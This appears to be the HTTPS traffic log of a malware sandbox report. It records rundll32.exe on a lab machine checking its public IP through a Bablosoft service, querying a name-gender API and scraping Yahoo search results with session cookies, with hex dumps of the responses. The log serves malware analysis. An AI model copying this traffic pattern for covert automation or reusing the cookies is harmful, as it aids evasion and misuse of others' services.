2023-12-10 16:48:37 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 33 36 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:36 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:37 UTC	6246	IN	Data Raw: 32 64 65 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2def<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:48:37 UTC	4840	IN	Data Raw: 69 73 74 2e 72 65 6d 6f 76 65 28 6e 29 3a 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 28 74 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 66 28 65 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 74 2c 22 20 22 29 29 29 7d 2c 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 29 7d 2c 61 64 64 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 6e 29 7b 76 61 72 20 65 3b 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3f 6e 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 74 2c 65 29 7d 29 3a 28 65 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ist.remove(n):e&&e.className&&(t=new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)"),e.className=f(e.className.replace(t," ")))},t&&t.forEach?t.forEach(e):e(t))},addClass:function y(t,n){var e;0<n.indexOf(" ")?n.split(" ").forEach(function(e){y(t,e)}):(e=function(
2023-12-10 16:48:37 UTC	16384	IN	Data Raw: 26 62 28 72 29 29 2c 63 2e 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 26 26 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 Data Ascii: &b(r)),c.referrerpolicy&&y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(
2023-12-10 16:48:37 UTC	6784	IN	Data Raw: 61 2d 64 65 67 72 65 65 22 3e 7b 31 7d 3c 2f 73 70 61 6e 3e 20 7b 32 7d 20 7b 33 7d 27 2c 74 6d 70 6c 5f 68 6c 3a 27 3c 69 6d 67 20 73 72 63 3d 22 7b 30 7d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 61 2d 64 65 67 72 65 65 22 3e 7b 31 7d 3c 2f 73 70 61 6e 3e 20 7b 32 7d 20 7b 33 7d 20 7b 34 7d 20 7b 35 7d 20 7b 36 7d 27 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 65 28 65 29 7b 76 61 72 20 74 2c 69 2c 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 65 2e 6d 2c 6f 3d 65 2e 64 2c 72 3d 28 65 3d 65 2e 66 64 29 26 26 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3f 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3a 30 3b 61 3d 3d 56 26 26 65 26 26 21 72 26 26 28 6f 0d 0a 33 32 65 38 0d 0a 26 26 22 6d 6f 76 69 65 22 3d 3d 6f 2e 73 75 62 64 6e 3f 28 69 3d 65 2e Data Ascii: a-degree">{1}</span> {2} {3}',tmpl_hl:'<img src="{0}"><span class="sa-degree">{1}</span> {2} {3} {4} {5} {6}'}}function je(e){var t,i,s,n=this.config,a=e.m,o=e.d,r=(e=e.fd)&&e.show_subtitle?e.show_subtitle:0;a==V&&e&&!r&&(o32e8&&"movie"==o.subdn?(i=e.
2023-12-10 16:48:37 UTC	4760	IN	Data Raw: 6e 62 73 70 22 29 2c 62 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 22 2c 62 2e 73 74 79 6c 65 2e 77 68 69 74 65 53 70 61 63 65 3d 22 6e 6f 77 72 61 70 22 2c 62 2e 73 74 79 6c 65 2e 70 61 64 64 69 6e 67 3d 22 30 22 2c 62 2e 73 74 79 6c 65 2e 66 6f 6e 74 57 65 69 67 68 74 3d 22 34 30 30 22 2c 5f 26 26 28 62 2e 73 74 79 6c 65 2e 66 6f 6e 74 53 69 7a 65 3d 5f 29 2c 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 6c 69 29 2c 62 2e 63 6c 69 65 6e 74 57 69 64 74 68 29 3b 69 66 28 30 3d 3d 75 29 7b 76 61 72 20 62 3d 70 28 45 2e 6c 69 2c 22 70 61 64 64 69 6e 67 2d 6c 65 66 74 22 29 2c 45 3d 70 28 61 2c 22 70 61 64 64 69 6e 67 2d 6c 65 66 74 22 29 2c 43 3d 70 28 61 2c 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 29 3b 69 66 Data Ascii: nbsp"),b.style.display="inline-block",b.style.whiteSpace="nowrap",b.style.padding="0",b.style.fontWeight="400",_&&(b.style.fontSize=_),v.appendChild(E.li),b.clientWidth);if(0==u){var b=p(E.li,"padding-left"),E=p(a,"padding-left"),C=p(a,"padding-right");if
2023-12-10 16:48:37 UTC	16384	IN	Data Raw: 22 2c 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e 3a 22 63 6c 6b 22 2c 70 6f 73 3a 31 2c 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 2c 74 31 3a 22 68 64 72 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 33 3a 22 63 6c 65 61 72 22 2c 74 34 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 7b 6e 61 6d 65 73 70 61 63 65 3a 22 73 61 2d 66 65 65 64 62 61 63 6b 22 7d 2c 74 65 78 74 3a 7b 72 65 70 6f 72 74 3a 22 52 65 70 6f 72 74 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 77 68 69 63 68 3a 22 57 Data Ascii: ",e))}function Bt(){this.config={log:{_r:2,actn:"clk",pos:1,sec:"search",slk:"clearsearch",t1:"hdr",t2:"search",t3:"clear",t4:"clearsearch"}}}function Mt(){this.config={css:{namespace:"sa-feedback"},text:{report:"Report inappropriate predictions",which:"W
2023-12-10 16:48:37 UTC	2024	IN	Data Raw: 22 29 2c 6f 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 26 26 28 65 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 65 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 29 7d 2c 6f 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 7d 2c 73 68 6f 77 50 61 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 70 6f 72 74 50 61 6e 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 73 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 Data Ascii: "),o.onreadystatechange=function(){o.readyState===XMLHttpRequest.DONE&&(e.main.style.display="none",e.thank.style.display="block")},o.send(JSON.stringify(t))}},showPanel:function(){this.reportPanel.style.display="block",this.main.style.display="block",thi
2023-12-10 16:48:37 UTC	14360	IN	Data Raw: 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2c 74 3d 74 68 69 73 2c 69 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 66 6f 6f 74 65 72 22 7d 29 2c 73 3d 28 28 73 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 66 6f 6f 74 65 72 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 6c 65 67 61 6c 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 63 74 2d 62 74 6e 22 7d 29 29 2c 6e 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 62 75 74 74 6f 6e 22 2c 74 65 78 74 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 65 78 74 2e 63 61 6e 63 65 6c Data Ascii: s.config.css.namespace,t=this,i=this.createElem({css:e+"-ct-footer"}),s=((s=this.createElem({tag:"footer"})).innerHTML=this.config.text.legal,i.appendChild(s),this.createElem({css:e+"-ct-btn"})),n=this.createElem({tag:"button",text:this.config.text.cancel
2023-12-10 16:48:37 UTC	7360	IN	Data Raw: 65 2d 62 75 74 74 6f 6e 2c 2e 73 70 63 68 63 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 Data Ascii: e-button,.spchc .microphone,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49763	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:38 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:48:38 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:48:38 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:48:38 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49773	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:43 UTC	67	OUT	GET /?name=Aldrin HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:48:43 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:48:43 GMTContent-Type: application/json; charset=utf-8Content-Length: 64Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:48:43 UTC	64	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 37 35 30 37 2c 22 6e 61 6d 65 22 3a 22 41 6c 64 72 69 6e 22 2c 22 67 65 6e 64 65 72 22 3a 22 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":7507,"name":"Aldrin","gender":"male","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49779	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:45 UTC	874	OUT	GET /search;_ylt=AwrEohTk63VlsLUFqL9XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=43&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226916&ltv_c=6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:46 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 34 35 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:45 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:46 UTC	6246	IN	Data Raw: 32 64 66 31 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2df1<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:48:46 UTC	6288	IN	Data Raw: 69 73 74 2e 72 65 6d 6f 76 65 28 6e 29 3a 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 28 74 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 66 28 65 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 74 2c 22 20 22 29 29 29 7d 2c 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 29 7d 2c 61 64 64 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 6e 29 7b 76 61 72 20 65 3b 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3f 6e 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 74 2c 65 29 7d 29 3a 28 65 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ist.remove(n):e&&e.className&&(t=new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)"),e.className=f(e.className.replace(t," ")))},t&&t.forEach?t.forEach(e):e(t))},addClass:function y(t,n){var e;0<n.indexOf(" ")?n.split(" ").forEach(function(e){y(t,e)}):(e=function(
2023-12-10 16:48:46 UTC	16384	IN	Data Raw: 6c 69 73 74 22 2c 66 3d 22 61 66 74 65 72 5f 63 72 65 61 74 65 5f 69 74 65 6d 22 2c 61 3d 22 62 65 66 6f 72 65 5f 73 68 6f 77 5f 73 61 22 2c 6f 3d 22 61 66 74 65 72 5f 72 65 73 65 74 5f 76 69 65 77 22 2c 6d 3d 22 62 65 66 6f 72 65 5f 68 69 64 65 5f 76 69 65 77 22 2c 67 3d 22 61 66 74 65 72 5f 68 69 64 65 5f 76 69 65 77 22 2c 78 3d 22 61 66 74 65 72 5f 65 78 70 61 6e 64 65 64 22 2c 52 3d 22 61 66 74 65 72 5f 69 6e 69 74 5f 63 6f 6e 74 72 6f 6c 6c 65 72 22 2c 41 3d 22 63 6c 69 63 6b 5f 61 73 73 69 73 74 22 2c 4e 3d 22 62 65 66 6f 72 65 5f 71 75 65 72 79 5f 61 73 73 69 73 74 22 2c 4c 3d 22 62 65 66 6f 72 65 5f 6b 65 79 5f 73 75 62 6d 69 74 22 2c 50 3d 22 62 65 66 6f 72 65 5f 62 75 74 74 6f 6e 5f 73 75 62 6d 69 74 22 2c 46 3d 22 62 65 66 6f 72 65 5f 73 75 62 Data Ascii: list",f="after_create_item",a="before_show_sa",o="after_reset_view",m="before_hide_view",g="after_hide_view",x="after_expanded",R="after_init_controller",A="click_assist",N="before_query_assist",L="before_key_submit",P="before_button_submit",F="before_sub
2023-12-10 16:48:46 UTC	2440	IN	Data Raw: 74 69 6d 65 29 26 26 28 61 3d 22 6e 65 67 61 74 69 76 65 22 29 3b 6c 65 74 20 65 3d 22 22 3b 22 43 22 21 3d 3d 74 2e 73 74 61 74 75 73 26 26 28 6f 3d 24 65 28 22 53 22 3d 3d 3d 74 2e 73 74 61 74 75 73 3f 74 2e 64 65 70 61 72 74 75 72 65 5f 74 69 6d 65 7c 7c 74 2e 64 65 70 61 74 75 72 65 5f 74 69 6d 65 3a 74 2e 61 72 72 69 76 61 6c 5f 74 69 6d 65 29 2c 6e 3d 22 22 2c 22 30 22 3d 3d 3d 74 2e 6f 6e 74 69 6d 65 26 26 28 6e 2b 3d 22 20 28 77 61 73 20 22 2b 24 65 28 22 53 22 3d 3d 3d 74 2e 73 74 61 74 75 73 3f 74 2e 73 63 68 65 64 75 6c 65 64 5f 64 65 70 61 74 75 72 65 5f 74 69 6d 65 3a 74 2e 73 63 68 65 64 75 6c 65 64 5f 61 72 72 69 76 61 6c 5f 74 69 6d 65 29 2b 22 29 22 29 2c 65 3d 69 2e 64 65 73 63 50 72 65 66 69 78 5b 74 2e 73 74 61 74 75 73 5d 2b 22 20 22 Data Ascii: time)&&(a="negative");let e="";"C"!==t.status&&(o=$e("S"===t.status?t.departure_time\|\|t.depature_time:t.arrival_time),n="","0"===t.ontime&&(n+=" (was "+$e("S"===t.status?t.scheduled_depature_time:t.scheduled_arrival_time)+")"),e=i.descPrefix[t.status]+" "
2023-12-10 16:48:46 UTC	7656	IN	Data Raw: 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 73 70 61 63 65 72 22 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 2d 62 75 74 74 6f 6e 22 2c 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 53 65 65 20 6d 6f 72 65 22 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 2c 28 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 73 61 2d 70 72 65 76 69 65 77 